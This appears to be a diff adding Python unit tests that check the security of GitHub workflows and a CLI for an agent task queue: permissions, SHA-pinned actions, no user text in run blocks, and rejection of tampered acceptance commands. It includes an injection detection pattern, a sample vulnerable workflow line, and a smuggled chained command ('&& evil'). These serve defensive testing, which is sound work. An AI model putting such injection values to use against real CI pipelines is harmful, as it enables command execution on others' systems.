self.assertEqual(s["totals"], {"ready": 1, "claimed": 1})
self.assertEqual(s["by_area"]["gpu"]["high"]["ready"], [1])
self.assertEqual(s["by_area"]["cpu"]["low"]["claimed"], [2])
self.assertEqual([t["number"] for t in s["tasks"]], [1, 2])
self.assertEqual(s["tasks"][1]["holder"], "gpuer")
self.assertEqual(s["pull_requests"][0]["links"], [1])
+115
View File
@@ -0,0 +1,115 @@
# SPDX-License-Identifier: GPL-3.0-or-later
import json
import os
import re
import subprocess
import sys
import tempfile
import unittest
from helpers import ROOT, issue
def dump(obj, path):
with open(path, "w") as fh:
json.dump(obj, fh)
WF = os.path.join(ROOT, ".github", "workflows")
QUEUE_WORKFLOWS = ["agent-claims.yml", "agent-pr-checks.yml"]
USER_TEXT = re.compile(r"\$\{\{\s*github\.event\.(comment|issue|pull_request)\.(body|title)|github\.head_ref")
def run_blocks(text):
"""Text of every `run:` block (literal block scalar or single line)."""
out, lines, i = [], text.split("\n"), 0
while i < len(lines):
m = re.match(r"^(\s*)(?:- )?run:\s*(.*)$", lines[i])
if m:
indent, rest = len(m.group(1)), m.group(2)
if rest in ("|", ">", "|-", ">-"):
block = []
i += 1
while i < len(lines) and (not lines[i].strip() or len(lines[i]) - len(lines[i].lstrip()) > indent):
block.append(lines[i])
i += 1
out.append("\n".join(block))
continue
out.append(rest)
i += 1
return out
class Workflows(unittest.TestCase):
def read(self, name):
with open(os.path.join(WF, name), encoding="utf-8") as fh:
return fh.read()
def test_top_level_permissions_and_no_user_text_in_run(self):
for name in QUEUE_WORKFLOWS:
text = self.read(name)
self.assertRegex(text, r"(?m)^permissions:", name)
blocks = run_blocks(text)
self.assertTrue(blocks, name)
for b in blocks:
self.assertNotRegex(b, r"\$\{\{", "%s: expression inside run" % name)
self.assertIsNone(USER_TEXT.search(b), name)
def test_checker_detects_violation(self):
bad = "jobs:\n a:\n steps:\n - run: |\n echo ${{ github.event.comment.body }}\n"
self.assertTrue(any(re.search(r"\$\{\{", b) for b in run_blocks(bad)))
def test_pr_workflow_never_checks_out_pr_code(self):
text = self.read("agent-pr-checks.yml")
self.assertNotRegex(text, r"github\.event\.pull_request\.head|ref:\s*\$\{\{")
self.assertIn("pull_request_target", text)
def test_actions_pinned_by_sha(self):
for name in QUEUE_WORKFLOWS:
for use in re.findall(r"uses:\s*(\S+)", self.read(name)):
self.assertRegex(use, r"@[0-9a-f]{40}$", name)
class Cli(unittest.TestCase):
def run_cli(self, *args, stdin=None):
env = dict(os.environ, PYTHONPATH=os.path.join(ROOT, "scripts"))
return subprocess.run([sys.executable, "-m", "agent_queue", "--config", os.path.join(ROOT, ".github", "agent-queue.json")] + list(args),
input=stdin, capture_output=True, text=True, env=env)
def test_shipped_config_parses(self):
r = self.run_cli("config-get", "upstream")
self.assertEqual(r.returncode, 0, r.stderr)
self.assertEqual(r.stdout.strip(), "ranveersoni98/Xenora")
def test_acceptance_authorization_end_to_end(self):
from agent_queue import lease as L, tasks as T
i = issue(1)
digest = T.acceptance_hash("cargo test -p gpu")
with tempfile.TemporaryDirectory() as d:
ip, cp = os.path.join(d, "i.json"), os.path.join(d, "c.json")
dump(i, ip)
dump([], cp)
r = self.run_cli("acceptance", "--issue", ip, "--comments", cp)
self.assertEqual(r.returncode, 3)
self.assertEqual(r.stdout, "")
dump([{"user": "github-actions[bot]", "body": L.acceptance_marker(digest), "created_at": "2026-01-10T10:00:00Z"}], cp)
r = self.run_cli("acceptance", "--issue", ip, "--comments", cp)
self.assertEqual((r.returncode, r.stdout.strip()), (0, "cargo test -p gpu"))
i["body"] = i["body"].replace("cargo test -p gpu", "cargo test -p gpu && evil")
dump(i, ip)
self.assertEqual(self.run_cli("acceptance", "--issue", ip, "--comments", cp).returncode, 3)
def test_scripts_parse(self):
for s in ("agent-queue.sh", "agent-sync.sh"):
r = subprocess.run(["sh", "-n", os.path.join(ROOT, "scripts", s)], capture_output=True, text=True)
self.assertEqual(r.returncode, 0, r.stderr)
def test_event_normalisation(self):
with tempfile.TemporaryDirectory() as d:
p = os.path.join(d, "e.json")
dump({"issue": {"number": 4, "pull_request": {}}, "comment": {"body": "/verified abc1234", "user": {"login": "q"}}}, p)
out = json.loads(self.run_cli("event", "--path", p).stdout)
self.assertEqual(out, {"kind": "pr", "number": 4, "actor": "q", "body": "/verified abc1234"})
if __name__ == "__main__":
unittest.main()